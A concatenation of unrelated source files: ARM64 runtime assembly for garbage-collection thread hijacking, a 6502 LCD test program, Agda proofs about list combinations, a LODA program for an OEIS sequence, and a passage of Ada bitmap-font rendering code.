ldr x0, [x0]
bl $RuntimeInstance__ShouldHijackLoopForGcStress
cbnz x0, NoGcStress
bl $REDHAWKGCINTERFACE__STRESSGC
NoGcStress
#endif ;; FEATURE_GC_STRESS
add x2, sp, xzr ; sp is address of PInvokeTransitionFrame
bl RhpWaitForGCNoAbort
DoneWaitingForGc
ldr x12, [sp, #OFFSETOF__PInvokeTransitionFrame__m_Flags]
tbnz x12, #PTFF_THREAD_ABORT_BIT, Abort
; restore condition codes
ldr x12, [sp, #m_SavedNZCV]
msr NZCV, x12
FREE_LOOP_HIJACK_FRAME
EPILOG_NOP ldr x1, [sp, #8] ; hijack target address
EPILOG_STACK_FREE 0x10
EPILOG_NOP ret x1 ; jump to the hijack target
Abort
FREE_LOOP_HIJACK_FRAME
EPILOG_NOP mov w0, #STATUS_REDHAWK_THREAD_ABORT
EPILOG_NOP ldr x1, [sp, #8] ; hijack target address as exception PC
EPILOG_STACK_FREE 0x10
EPILOG_NOP b RhpThrowHwEx
LEAF_END RhpLoopHijack
INLINE_GETTHREAD_CONSTANT_POOL
;; Trap to GC.
;; Set up the P/Invoke transition frame with the return address as the safe point.
;; All registers, both volatile and non-volatile, are preserved.
;; The function should be called not jumped because it's expecting the return address
NESTED_ENTRY RhpTrapToGC, _TEXT
;;
;; What we want to get to:
;;
;; [sp + ] -> m_FramePointer -------|
;; [sp + 8] -> m_RIP |
;; [sp + 10] -> m_pThread |
;; [sp + 18] -> m_Flags / m_dwAlignPad2 |
;; [sp + 20] -> x19 save |
;; [sp + 28] -> x20 save |
;; [sp + 30] -> x21 save |
;; [sp + 38] -> x22 save |
;; [sp + 40] -> x23 save |
;; [sp + 48] -> x24 save | PInvokeTransitionFrame
;; [sp + 50] -> x25 save |
;; [sp + 58] -> x26 save |
;; [sp + 60] -> x27 save |
;; [sp + 68] -> x28 save |
;; [sp + 70] -> sp save ;caller sp |
;; [sp + 78] -> x0 save |
;; [sp + 80] -> x1 save |
;; [sp + 88] -> x2 save |
;; [sp + 90] -> x3 save |
;; [sp + 98] -> x4 save |
;; [sp + a0] -> x5 save |
;; [sp + a8] -> x6 save |
;; [sp + b0] -> x7 save |
;; [sp + b8] -> x8 save |
;; [sp + c0] -> x9 save |
;; [sp + c8] -> x10 save |
;; [sp + d0] -> x11 save |
;; [sp + d8] -> x12 save |
;; [sp + e0] -> x13 save |
;; [sp + e8] -> x14 save |
;; [sp + f0] -> x15 save |
;; [sp + f8] -> x16 save |
;; [sp + 100] -> x17 save |
;; [sp + 108] -> x18 save |
;; [sp + 110] -> lr save -------|
;;
;; [sp + 118] -> NZCV
;;
;; [sp + 120] -> not used
;; [sp + 140] -> q0 ... q31
;;
ALLOC_LOOP_HIJACK_FRAME
;; Slot at [sp, #0x118] is reserved for NZCV
mrs x1, NZCV
str x1, [sp, #m_SavedNZCV]
;; x4 <- GetThread(), TRASHES x1
INLINE_GETTHREAD x4, x1
INIT_PROBE_FRAME x4, x1, #PROBE_SAVE_FLAGS_EVERYTHING, 0, (PROBE_FRAME_SIZE + EXTRA_SAVE_SIZE)
; Early out if GC stress is currently suppressed. Do this after we have computed the real address to
; return to but before we link the transition frame onto m_pHackPInvokeTunnel (because hitting this
; condition implies we're running restricted callouts during a GC itself and we could end up
; overwriting a co-op frame set by the code that caused the GC in the first place, e.g. a GC.Collect
; call).
ldr w1, [x4, #OFFSETOF__Thread__m_ThreadStateFlags]
tst w1, #TSF_SuppressGcStress__OR__TSF_DoNotTriggerGC
bne DoNotTriggerGC
; link the frame into the Thread
add x1, sp, xzr
str x1, [x4, #OFFSETOF__Thread__m_pHackPInvokeTunnel]
;;
;; Unhijack this thread, if necessary.
;;
INLINE_THREAD_UNHIJACK x4, x1, x2 ;; trashes x1, x2
#ifdef FEATURE_GC_STRESS
ldr x1, =g_fGcStressStarted
ldr w1, [x1]
cbnz w1, SkipGcStress
mov x1, x0
ldr x0, =$g_pTheRuntimeInstance
ldr x0, [x0]
bl $RuntimeInstance__ShouldHijackLoopForGcStress
cbnz x0, SkipGcStress
bl $REDHAWKGCINTERFACE__STRESSGC
SkipGcStress
#endif ;; FEATURE_GC_STRESS
add x9, sp, xzr ; sp is address of PInvokeTransitionFrame
bl RhpWaitForGCNoAbort
DoNotTriggerGC
ldr x1, [sp, #OFFSETOF__PInvokeTransitionFrame__m_Flags]
tbnz x1, #PTFF_THREAD_ABORT_BIT, ToAbort
; restore condition codes
ldr x1, [sp, #m_SavedNZCV]
msr NZCV, x1
FREE_LOOP_HIJACK_FRAME
EPILOG_RETURN
ToAbort
FREE_LOOP_HIJACK_FRAME
EPILOG_NOP mov w0, #STATUS_REDHAWK_THREAD_ABORT
EPILOG_NOP mov x1, lr ; hijack target address as exception PC
EPILOG_NOP b RhpThrowHwEx
NESTED_END RhpTrapToGC
INLINE_GETTHREAD_CONSTANT_POOL
end
|
samples/lcd_4bit_test/lcd_4bit_test.asm | jimjag/x6502 | 13 | 166371 | <reponame>jimjag/x6502
PORTB .equ $6000
PORTA .equ $6001
DDRB .equ $6002
DDRA .equ $6003
COMMAND_MODE .equ %00000000
DATA_MODE .equ %00100000
WRITE_MODE .equ %00000000
READ_MODE .equ %01000000
PULSE .equ %10000000
NPULSE .equ %01111111
ROM_START .equ $8000
RESET_VECTOR .equ $fffc
.org ROM_START
init:
lda #%11100000 ; PA5, PA6 and PA7 are outputs
sta DDRA
lda #%11111111 ; PORTB is all output
sta DDRB
lda #%00000000 ; Initialize port outputs with $00
sta PORTA
sta PORTB
ldx #$00 ; Initialize counter (register X)
loop_init_seq:
lda lcd_init_sequence,x ; Fetch data from address lcd_init_sequence + x
beq data_display ; If fetched $00 (end of stream), move to data transmission
sta PORTB ; Send data to PORTB
lda #(COMMAND_MODE | WRITE_MODE | PULSE) ; Set write command mode with active pulse
sta PORTA
and #NPULSE ; Disable pulse bit (E) and send to LCD
sta PORTA
lda lcd_init_sequence,x
rol
rol
rol
rol
sta PORTB ; Send data to PORTB
lda #(COMMAND_MODE | WRITE_MODE | PULSE) ; Set write command mode with active pulse
sta PORTA
and #NPULSE ; Disable pulse bit (E) and send to LCD
sta PORTA
inx ; Increase counter
jmp loop_init_seq ; Keep looping over init sequence
data_display:
ldx #$00 ; Initialize counter
loop_data:
lda data,x ; Load data bytes from address data + x
beq end_prog ; On end of stream move to end of program
sta PORTB
lda #(DATA_MODE | WRITE_MODE | PULSE) ; Set write data mode with active pulse
sta PORTA
and #NPULSE ; Disable pulse bit (E)
sta PORTA
lda data,x
rol
rol
rol
rol
sta PORTB
lda #(DATA_MODE | WRITE_MODE | PULSE) ; Set write data mode with active pulse
sta PORTA
and #NPULSE ; Disable pulse bit (E)
sta PORTA
inx ; Increase counter
jmp loop_data
end_prog:
jmp end_prog
lcd_init_sequence:
byte %00101100
byte %00001100
byte %00000110
byte %00000001
byte %00000000
data:
string "<NAME>!"
.org RESET_VECTOR
word init
word $0000
|
Math/Combinatorics/ListFunction/Properties.agda | rei1024/agda-combinatorics | 3 | 9621 | <reponame>rei1024/agda-combinatorics
------------------------------------------------------------------------
-- Properties of functions
------------------------------------------------------------------------
{-# OPTIONS --without-K --safe --exact-split #-}
module Math.Combinatorics.ListFunction.Properties where
-- agda-stdlib
open import Data.List hiding (_∷ʳ_)
import Data.List.Properties as Lₚ
open import Data.List.Membership.Propositional using (_∈_; _∉_)
import Data.List.Membership.Propositional.Properties as ∈ₚ
open import Data.List.Relation.Binary.BagAndSetEquality
open import Data.List.Relation.Binary.Sublist.Propositional using (_⊆_; []; _∷_; _∷ʳ_)
import Data.List.Relation.Binary.Sublist.Propositional.Properties as Sublistₚ
open import Data.List.Relation.Unary.All as All using (All; []; _∷_)
import Data.List.Relation.Unary.All.Properties as Allₚ
open import Data.List.Relation.Unary.AllPairs using (AllPairs; []; _∷_)
open import Data.List.Relation.Unary.Any as Any using (Any; here; there)
import Data.List.Relation.Unary.Unique.Propositional as UniqueP
import Data.List.Relation.Unary.Unique.Propositional.Properties as UniquePₚ
import Data.List.Relation.Unary.Unique.Setoid as UniqueS
import Data.List.Relation.Unary.Unique.Setoid.Properties as UniqueSₚ
open import Data.Nat
open import Data.Product as Prod using (_×_; _,_; ∃; proj₁; proj₂)
open import Data.Sum using (inj₁; inj₂)
open import Function.Base
open import Function.Equivalence using (_⇔_; equivalence) -- TODO: use new packages
open import Relation.Binary.PropositionalEquality as P
-- agda-combinatorics
open import Math.Combinatorics.Function
open import Math.Combinatorics.Function.Properties
open import Math.Combinatorics.ListFunction
import Math.Combinatorics.ListFunction.Properties.Lemma as Lemma
------------------------------------------------------------------------
-- Properties of `applyEach`
module _ {a} {A : Set a} where
open ≡-Reasoning
length-applyEach : ∀ (f : A → A) (xs : List A) →
length (applyEach f xs) ≡ length xs
length-applyEach f [] = refl
length-applyEach f (x ∷ xs) = begin
1 + length (map (x ∷_) (applyEach f xs))
≡⟨ cong suc $ Lₚ.length-map (x ∷_) (applyEach f xs ) ⟩
1 + length (applyEach f xs)
≡⟨ cong suc $ length-applyEach f xs ⟩
1 + length xs
∎
All-length-applyEach : ∀ (f : A → A) (xs : List A) →
All (λ ys → length ys ≡ length xs) (applyEach f xs)
All-length-applyEach f [] = []
All-length-applyEach f (x ∷ xs) =
refl ∷ (Allₚ.map⁺ $ All.map (cong suc) $ All-length-applyEach f xs)
applyEach-cong : ∀ (f g : A → A) (xs : List A) →
(∀ x → f x ≡ g x) → applyEach f xs ≡ applyEach g xs
applyEach-cong f g [] f≡g = refl
applyEach-cong f g (x ∷ xs) f≡g = begin
(f x ∷ xs) ∷ map (_∷_ x) (applyEach f xs)
≡⟨ cong₂ (λ u v → (u ∷ xs) ∷ map (_∷_ x) v) (f≡g x) (applyEach-cong f g xs f≡g) ⟩
(g x ∷ xs) ∷ map (_∷_ x) (applyEach g xs)
∎
------------------------------------------------------------------------
-- Properties of `combinations`
module _ {a} {A : Set a} where
open ≡-Reasoning
length-combinations : ∀ (k : ℕ) (xs : List A) →
length (combinations k xs) ≡ C (length xs) k
length-combinations 0 xs = refl
length-combinations (suc k) [] = refl
length-combinations (suc k) (x ∷ xs) = begin
length (map (x ∷_) (combinations k xs) ++ combinations (suc k) xs)
≡⟨ Lₚ.length-++ (map (x ∷_) (combinations k xs)) ⟩
length (map (x ∷_) (combinations k xs)) + length (combinations (suc k) xs)
≡⟨ cong₂ _+_ (Lₚ.length-map (x ∷_) (combinations k xs)) refl ⟩
length (combinations k xs) + length (combinations (suc k) xs)
≡⟨ cong₂ _+_ (length-combinations k xs) (length-combinations (suc k) xs) ⟩
C (length xs) k + C (length xs) (suc k)
≡⟨ sym $ C[1+n,1+k]≡C[n,k]+C[n,1+k] (length xs) k ⟩
C (length (x ∷ xs)) (suc k)
∎
All-length-combinations : ∀ (k : ℕ) (xs : List A) →
All (λ ys → length ys ≡ k) (combinations k xs)
All-length-combinations 0 xs = refl ∷ []
All-length-combinations (suc k) [] = []
All-length-combinations (suc k) (x ∷ xs) =
Allₚ.++⁺ (Allₚ.map⁺ $ All.map (cong suc) $ All-length-combinations k xs)
(All-length-combinations (suc k) xs)
∈-length-combinations : ∀ (xs : List A) k ys → xs ∈ combinations k ys → length xs ≡ k
∈-length-combinations xs k ys xs∈combinations[k,ys] =
All.lookup (All-length-combinations k ys) xs∈combinations[k,ys]
combinations-⊆⇒∈ : ∀ {xs ys : List A} → xs ⊆ ys → xs ∈ combinations (length xs) ys
combinations-⊆⇒∈ {[]} {ys} xs⊆ys = here refl
combinations-⊆⇒∈ {x ∷ xs} {y ∷ ys} (.y ∷ʳ x∷xs⊆ys) =
∈ₚ.∈-++⁺ʳ (map (y ∷_) (combinations (length xs) ys)) (combinations-⊆⇒∈ x∷xs⊆ys)
combinations-⊆⇒∈ {x ∷ xs} {.x ∷ ys} (refl ∷ xs⊆ys) =
∈ₚ.∈-++⁺ˡ $ ∈ₚ.∈-map⁺ (x ∷_) $ combinations-⊆⇒∈ xs⊆ys
combinations-∈⇒⊆ : ∀ {xs ys : List A} → xs ∈ combinations (length xs) ys → xs ⊆ ys
combinations-∈⇒⊆ {[]} {ys} _ = Lemma.[]⊆xs ys
combinations-∈⇒⊆ {x ∷ xs} {y ∷ ys} x∷xs∈c[len[x∷xs],y∷ys]
with ∈ₚ.∈-++⁻ (map (y ∷_) (combinations (length xs) ys)) x∷xs∈c[len[x∷xs],y∷ys]
... | inj₁ x∷xs∈map[y∷-][c[len[xs],ys]]
with ∈ₚ.∈-map⁻ (y ∷_) x∷xs∈map[y∷-][c[len[xs],ys]] -- ∷ ∃ λ zs → zs ∈ combinations (length xs) ys × x ∷ xs ≡ y ∷ zs
combinations-∈⇒⊆ {x ∷ xs} {y ∷ ys} _ | inj₁ _
| zs , (zs∈c[len[xs],ys] , x∷xs≡y∷zs) = x≡y ∷ xs⊆ys
where
xs≡zs : xs ≡ zs
xs≡zs = Lₚ.∷-injectiveʳ x∷xs≡y∷zs
x≡y : x ≡ y
x≡y = Lₚ.∷-injectiveˡ x∷xs≡y∷zs
xs⊆ys : xs ⊆ ys
xs⊆ys = combinations-∈⇒⊆ $ subst (λ v → v ∈ combinations (length xs) ys)
(sym xs≡zs) zs∈c[len[xs],ys]
combinations-∈⇒⊆ {x ∷ xs} {y ∷ ys} _ | inj₂ x∷xs∈c[len[x∷xs],ys] = y ∷ʳ x∷xs⊆ys
where
x∷xs⊆ys : x ∷ xs ⊆ ys
x∷xs⊆ys = combinations-∈⇒⊆ x∷xs∈c[len[x∷xs],ys]
combinations-∈⇔⊆ : ∀ {xs ys : List A} → (xs ∈ combinations (length xs) ys) ⇔ (xs ⊆ ys)
combinations-∈⇔⊆ = equivalence combinations-∈⇒⊆ combinations-⊆⇒∈
All-⊆-combinations : ∀ k (xs : List A) → All (_⊆ xs) (combinations k xs)
All-⊆-combinations k xs = All.tabulate λ {ys} ys∈combinations[k,xs] →
combinations-∈⇒⊆ $ subst (λ v → ys ∈ combinations v xs)
(sym $ ∈-length-combinations ys k xs ys∈combinations[k,xs])
ys∈combinations[k,xs]
combinations-∈⇒⊆∧length : ∀ {xs : List A} {k ys} →
xs ∈ combinations k ys → (xs ⊆ ys × length xs ≡ k)
combinations-∈⇒⊆∧length {xs} {k} {ys} xs∈c[k,ys] =
combinations-∈⇒⊆ xs∈c[len[xs],ys] , length[xs]≡k
where
length[xs]≡k : length xs ≡ k
length[xs]≡k = ∈-length-combinations xs k ys xs∈c[k,ys]
xs∈c[len[xs],ys] : xs ∈ combinations (length xs) ys
xs∈c[len[xs],ys] =
subst (λ v → xs ∈ combinations v ys) (sym length[xs]≡k) xs∈c[k,ys]
combinations-⊆∧length⇒∈ : ∀ {xs ys : List A} {k} →
(xs ⊆ ys × length xs ≡ k) → xs ∈ combinations k ys
combinations-⊆∧length⇒∈ {xs} {ys} {k} (xs⊆ys , len[xs]≡k) =
subst (λ v → xs ∈ combinations v ys) len[xs]≡k (combinations-⊆⇒∈ xs⊆ys)
combinations-∈⇔⊆∧length : ∀ {xs : List A} {k} {ys} →
xs ∈ combinations k ys ⇔ (xs ⊆ ys × length xs ≡ k)
combinations-∈⇔⊆∧length =
equivalence combinations-∈⇒⊆∧length combinations-⊆∧length⇒∈
unique-combinations : ∀ k {xs : List A} →
UniqueP.Unique xs → UniqueP.Unique (combinations k xs)
unique-combinations 0 {xs} xs-unique = [] ∷ []
unique-combinations (suc k) {[]} xs-unique = []
unique-combinations (suc k) {x ∷ xs} (All[x≢-]xs ∷ xs-unique) =
UniquePₚ.++⁺ {_} {_} {map (x ∷_) (combinations k xs)} {combinations (suc k) xs}
(UniquePₚ.map⁺ Lₚ.∷-injectiveʳ (unique-combinations k {xs} xs-unique))
(unique-combinations (suc k) {xs} xs-unique)
λ {vs} vs∈map[x∷-]c[k,xs]×vs∈c[1+k,xs] →
let
vs∈map[x∷-]c[k,xs] = proj₁ vs∈map[x∷-]c[k,xs]×vs∈c[1+k,xs]
vs∈c[1+k,xs] = proj₂ vs∈map[x∷-]c[k,xs]×vs∈c[1+k,xs]
proof = ∈ₚ.∈-map⁻ (x ∷_) vs∈map[x∷-]c[k,xs]
us = proj₁ proof
vs≡x∷us : vs ≡ x ∷ us
vs≡x∷us = proj₂ (proj₂ proof)
x∈vs : x ∈ vs
x∈vs = subst (x ∈_) (sym vs≡x∷us) (here refl)
vs⊆xs : vs ⊆ xs
vs⊆xs = proj₁ $ combinations-∈⇒⊆∧length {vs} {suc k} {xs} vs∈c[1+k,xs]
All[x≢-]vs : All (x ≢_) vs
All[x≢-]vs = Sublistₚ.All-resp-⊆ vs⊆xs All[x≢-]xs
x∉vs : x ∉ vs
x∉vs = Allₚ.All¬⇒¬Any All[x≢-]vs
in x∉vs x∈vs
{-
-- unique⇒drop-cons-set : ∀ {a} {A : Set a} {x : A} {xs ys} →
unique-combinations-set : ∀ k {xs : List A} →
UniqueP.Unique xs → UniqueS.Unique ([ set ]-Equality A) (combinations k xs)
unique-combinations-set 0 xs-unique = [] ∷ []
unique-combinations-set (suc k) {[]} xs-unique = []
unique-combinations-set (suc k) {x ∷ xs} (this ∷ xs-unique) =
UniqueSₚ.++⁺ ([ set ]-Equality A)
(UniqueSₚ.map⁺ ([ set ]-Equality A) ([ set ]-Equality A) (λ → {! !}) (unique-combinations-set k {xs} xs-unique))
(unique-combinations-set (suc k) {xs} xs-unique)
{! !}
-- {- x∉xs -} Unique -[ set ] xs → Unique -[ set ] (x ∷ xs)
-}
module _ {a b} {A : Set a} {B : Set b} where
combinations-map : ∀ k (f : A → B) (xs : List A) →
combinations k (map f xs) ≡ map (map f) (combinations k xs)
combinations-map 0 f xs = refl
combinations-map (suc k) f [] = refl
combinations-map (suc k) f (x ∷ xs) = begin
map (f x ∷_) (combinations k (map f xs)) ++ combinations (suc k) (map f xs)
≡⟨ cong₂ _++_ (cong (map (f x ∷_)) (combinations-map k f xs)) (combinations-map (suc k) f xs) ⟩
map (f x ∷_) (map (map f) (combinations k xs)) ++ map (map f) (combinations (suc k) xs)
≡⟨ cong (_++ map (map f) (combinations (suc k) xs)) $ Lemma.lemma₁ f x (combinations k xs) ⟩
map (map f) (map (x ∷_) (combinations k xs)) ++ map (map f) (combinations (suc k) xs)
≡⟨ sym $ Lₚ.map-++-commute (map f) (map (x ∷_) (combinations k xs)) (combinations (suc k) xs) ⟩
map (map f) (map (x ∷_) (combinations k xs) ++ combinations (suc k) xs)
∎
where open ≡-Reasoning
------------------------------------------------------------------------
-- Properties of `combinationsWithComplement`
module _ {a} {A : Set a} where
open ≡-Reasoning
map-proj₁-combinationsWithComplement : ∀ k (xs : List A) →
map proj₁ (combinationsWithComplement k xs) ≡ combinations k xs
map-proj₁-combinationsWithComplement 0 xs = refl
map-proj₁-combinationsWithComplement (suc k) [] = refl
map-proj₁-combinationsWithComplement (suc k) (x ∷ xs) = begin
map proj₁ (map f ys ++ map g zs)
≡⟨ Lₚ.map-++-commute proj₁ (map f ys) (map g zs) ⟩
map proj₁ (map f ys) ++ map proj₁ (map g zs)
≡⟨ sym $ Lₚ.map-compose ys ⟨ cong₂ _++_ ⟩ Lₚ.map-compose zs ⟩
map (proj₁ ∘′ f) ys ++ map (λ v → proj₁ (g v)) zs
≡⟨ Lₚ.map-cong lemma₁ ys ⟨ cong₂ _++_ ⟩ Lₚ.map-cong lemma₂ zs ⟩
map ((x ∷_) ∘′ proj₁) ys ++ map proj₁ zs
≡⟨ cong (_++ map proj₁ zs) $ Lₚ.map-compose ys ⟩
map (x ∷_) (map proj₁ ys) ++ map proj₁ zs
≡⟨ cong (map (x ∷_)) (map-proj₁-combinationsWithComplement k xs) ⟨ cong₂ _++_ ⟩ map-proj₁-combinationsWithComplement (suc k) xs ⟩
map (x ∷_) (combinations k xs) ++ combinations (suc k) xs
∎
where
ys = combinationsWithComplement k xs
zs = combinationsWithComplement (suc k) xs
f g : List A × List A → List A × List A
f = Prod.map₁ (x ∷_)
g = Prod.map₂ (x ∷_)
lemma₁ : ∀ (t : List A × List A) → proj₁ (Prod.map₁ (x ∷_) t) ≡ x ∷ proj₁ t
lemma₁ t = Lemma.proj₁-map₁ (x ∷_) t
lemma₂ : ∀ (t : List A × List A) → Lemma.proj₁′ {_} {_} {_} {List A} (Prod.map₂ (x ∷_) t) ≡ proj₁ t
lemma₂ t = Lemma.proj₁-map₂ (x ∷_) t
length-combinationsWithComplement : ∀ k (xs : List A) →
length (combinationsWithComplement k xs) ≡ C (length xs) k
length-combinationsWithComplement k xs = begin
length (combinationsWithComplement k xs)
≡⟨ sym $ Lₚ.length-map proj₁ (combinationsWithComplement k xs) ⟩
length (map proj₁ (combinationsWithComplement k xs))
≡⟨ cong length $ map-proj₁-combinationsWithComplement k xs ⟩
length (combinations k xs)
≡⟨ length-combinations k xs ⟩
C (length xs) k
∎
------------------------------------------------------------------------
-- Properties of `splits₂`
module _ {a} {A : Set a} where
open ≡-Reasoning
open Prod using (map₁; map₂)
length-splits₂ : ∀ (xs : List A) → length (splits₂ xs) ≡ 1 + length xs
length-splits₂ [] = refl
length-splits₂ (x ∷ xs) = begin
1 + length (map (map₁ (x ∷_)) (splits₂ xs))
≡⟨ cong (1 +_) $ Lₚ.length-map (map₁ (x ∷_)) (splits₂ xs) ⟩
1 + length (splits₂ xs)
≡⟨ cong (1 +_) $ length-splits₂ xs ⟩
1 + length (x ∷ xs)
∎
splits₂-defn : ∀ (xs : List A) → splits₂ xs ≡ zip (inits xs) (tails xs)
splits₂-defn [] = refl
splits₂-defn (x ∷ xs) = begin
splits₂ (x ∷ xs) ≡⟨⟩
([] , x ∷ xs) ∷ map (map₁ (x ∷_)) (splits₂ xs)
≡⟨ cong (([] , x ∷ xs) ∷_) (begin
map (map₁ (x ∷_)) (splits₂ xs)
≡⟨ cong (map (map₁ (x ∷_))) $ splits₂-defn xs ⟩
map (map₁ (x ∷_)) (zip is ts)
≡⟨ Lₚ.map-zipWith _,_ (map₁ (x ∷_)) is ts ⟩
zipWith (λ ys zs → map₁ (x ∷_) (ys , zs)) is ts
≡⟨ sym $ Lₚ.zipWith-map _,_ (x ∷_) id is ts ⟩
zip (map (x ∷_) is) (map id ts)
≡⟨ cong (zip (map (x ∷_) is)) $ Lₚ.map-id ts ⟩
zip (map (x ∷_) is) ts
∎) ⟩
([] , x ∷ xs) ∷ zip (map (x ∷_) is) ts
∎
where
is = inits xs
ts = tails xs
All-++-splits₂ : (xs : List A) →
All (Prod.uncurry (λ ys zs → ys ++ zs ≡ xs)) (splits₂ xs)
All-++-splits₂ [] = refl ∷ []
All-++-splits₂ (x ∷ xs) =
All._∷_ refl $ Allₚ.map⁺ $ All.map (cong (x ∷_)) $ All-++-splits₂ xs
splits₂-∈⇒++ : {xs ys zs : List A} → (ys , zs) ∈ splits₂ xs → ys ++ zs ≡ xs
splits₂-∈⇒++ {xs = xs} = All.lookup (All-++-splits₂ xs)
private
[],xs∈splits₂[xs] : (xs : List A) → ([] , xs) ∈ splits₂ xs
[],xs∈splits₂[xs] [] = here refl
[],xs∈splits₂[xs] (x ∷ xs) = here refl
∈-split₂-++ : (xs ys : List A) → (xs , ys) ∈ splits₂ (xs ++ ys)
∈-split₂-++ [] ys = [],xs∈splits₂[xs] ys
∈-split₂-++ (x ∷ xs) ys =
Any.there $ ∈ₚ.∈-map⁺ (map₁ (x ∷_)) $ ∈-split₂-++ xs ys
splits₂-++⇒∈ : {xs ys zs : List A} → xs ++ ys ≡ zs → (xs , ys) ∈ splits₂ zs
splits₂-++⇒∈ {xs} {ys} {zs} xs++ys≡zs =
subst (λ v → (xs , ys) ∈ splits₂ v) xs++ys≡zs (∈-split₂-++ xs ys)
splits₂-∈⇔++ : {xs ys zs : List A} → (xs , ys) ∈ splits₂ zs ⇔ xs ++ ys ≡ zs
splits₂-∈⇔++ = equivalence splits₂-∈⇒++ splits₂-++⇒∈
module _ {a b} {A : Set a} {B : Set b} where
open ≡-Reasoning
{-
splits₂-map : ∀ (f : A → B) (xs : List A) →
splits₂ (map f xs) ≡ map (Prod.map (map f) (map f)) (splits₂ xs)
splits₂-map f [] = refl
splits₂-map f (x ∷ xs) = {! !}
-}
-- length[xs]<k⇒combinations[k,xs]≡[]
-- All-unique-combinations : UniqueP.Unique xs → All (UniqueP.Unique) (combinations k xs)
-- All-unique-combinations-set : UniqueP.Unique xs → All (UniqueS.Unique [ set ]-Equality A) (combinations k xs)
-- unique-combinations-PW : UniqueS.Unique S xs → UniqueS.Unique (Equality S) (combinations k xs)
-- unique-combinations-set : UniqueP.Unique xs → Unique (_-[ set ]_) (combinations k xs)
-- sorted-combinations : Sorted _<_ xs → Sorted {- Lex._<_ _<_ -} (combinations k xs)
-- All-sorted-combinations : Sorted _<_ xs → All (Sorted _<_) (combinations k xs)
-- filter-combinations = filter P ∘ combinations k xs
-- each-disjoint-combinationsWithComplement : Unique zs → (xs , ys) ∈ combinationsWithComplement k zs → Disjoint xs ys
-- combinationsWithComplement-∈⇒⊆ : (xs , ys) ∈ combinationsWithComplement (length xs) zs → xs ⊆ zs × ys ⊆ zs
-- length-splits : length (splits k xs) ≡ C (length xs + k ∸ 1) (length xs)
-- length-partitionsAll : length (partitionsAll xs) ≡ B (length xs)
-- length-insertEverywhere : length (insertEverywhere x xs) ≡ 1 + length xs
-- All-length-insertEverywhere : All (λ ys → length ys ≡ 1 + length xs) (insertEverywhere x xs)
-- length-permutations : length (permutations xs) ≡ length xs !
|
programs/oeis/284/A284905.asm | neoneye/loda | 22 | 17905 | <gh_stars>10-100
; A284905: Fixed point of the morphism 0 -> 01, 1 -> 1001.
; 0,1,1,0,0,1,1,0,0,1,0,1,0,1,1,0,0,1,1,0,0,1,0,1,0,1,1,0,0,1,0,1,1,0,0,1,0,1,1,0,0,1,1,0,0,1,0,1,0,1,1,0,0,1,1,0,0,1,0,1,0,1,1,0,0,1,0,1,1,0,0,1,0,1,1,0,0,1,1,0,0,1,0,1,0,1,1,0,0,1,0,1,1,0,0,1,1,0,0,1
mov $2,$0
div $0,2
add $0,$2
seq $0,284907 ; Positions of 1 in A284905; complement of A284906.
mod $0,2
|
src/bitmap_fonts/giza-bitmap_fonts.adb | Fabien-Chouteau/Giza | 7 | 25016 | ------------------------------------------------------------------------------
-- --
-- Giza --
-- --
-- Copyright (C) 2016 <NAME> (<EMAIL>) --
-- --
-- --
-- Redistribution and use in source and binary forms, with or without --
-- modification, are permitted provided that the following conditions are --
-- met: --
-- 1. Redistributions of source code must retain the above copyright --
-- notice, this list of conditions and the following disclaimer. --
-- 2. Redistributions in binary form must reproduce the above copyright --
-- notice, this list of conditions and the following disclaimer in --
-- the documentation and/or other materials provided with the --
-- distribution. --
-- 3. Neither the name of the copyright holder nor the names of its --
-- contributors may be used to endorse or promote products derived --
-- from this software without specific prior written permission. --
-- --
-- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS --
-- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT --
-- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR --
-- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT --
-- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, --
-- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT --
-- LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, --
-- DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY --
-- THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT --
-- (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE --
-- OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. --
-- --
------------------------------------------------------------------------------
with Giza.Types; use Giza.Types;
package body Giza.Bitmap_Fonts is
---------------
-- Glyph_Box --
---------------
overriding procedure Glyph_Box (This : Bitmap_Font;
C : Character;
Width, Height, X_Advance : out Natural;
X_Offset, Y_Offset : out Integer)
is
Index : constant Integer := Character'Pos (C);
begin
if Index not in This.Glyphs'Range then
Width := 0;
Height := 0;
X_Offset := 0;
Y_Offset := 0;
X_Advance := 0;
return;
end if;
Width := Natural (This.Glyphs (Index).Width);
Height := Natural (This.Glyphs (Index).Height);
X_Advance := Natural (This.Glyphs (Index).X_Advance);
X_Offset := Integer (This.Glyphs (Index).X_Offset);
Y_Offset := Integer (This.Glyphs (Index).Y_Offset);
end Glyph_Box;
-----------------
-- Print_Glyph --
-----------------
overriding procedure Print_Glyph (This : Bitmap_Font;
Ctx : in out Context.Class;
C : Character)
is
Index : constant Integer := Character'Pos (C);
H, W, Xo, Yo, Xa : Integer;
Bits : Unsigned_8 := 0;
Bit : Unsigned_8 := 0;
Bitmap_Offset : Integer;
Org : constant Point_T := Ctx.Position;
begin
if Index not in This.Glyphs'Range then
return;
end if;
H := Integer (This.Glyphs (Index).Height);
W := Integer (This.Glyphs (Index).Width);
if H > 0 and then W > 0 then
Xo := Integer (This.Glyphs (Index).X_Offset);
Yo := Integer (This.Glyphs (Index).Y_Offset);
Bitmap_Offset := Integer (This.Glyphs (Index).BitmapOffset) +
This.Bitmap'First;
for Y in 0 .. H - 1 loop
for X in 0 .. W - 1 loop
if (Bit and 7) = 0 then
Bits := This.Bitmap (Bitmap_Offset);
Bitmap_Offset := Bitmap_Offset + 1;
end if;
Bit := Bit + 1;
if (Bits and 16#80#) /= 0 then
Ctx.Set_Pixel (Org + Point_T'(X, Y) + Point_T'(Xo, Yo));
end if;
Bits := Shift_Left (Bits, 1);
end loop;
end loop;
end if;
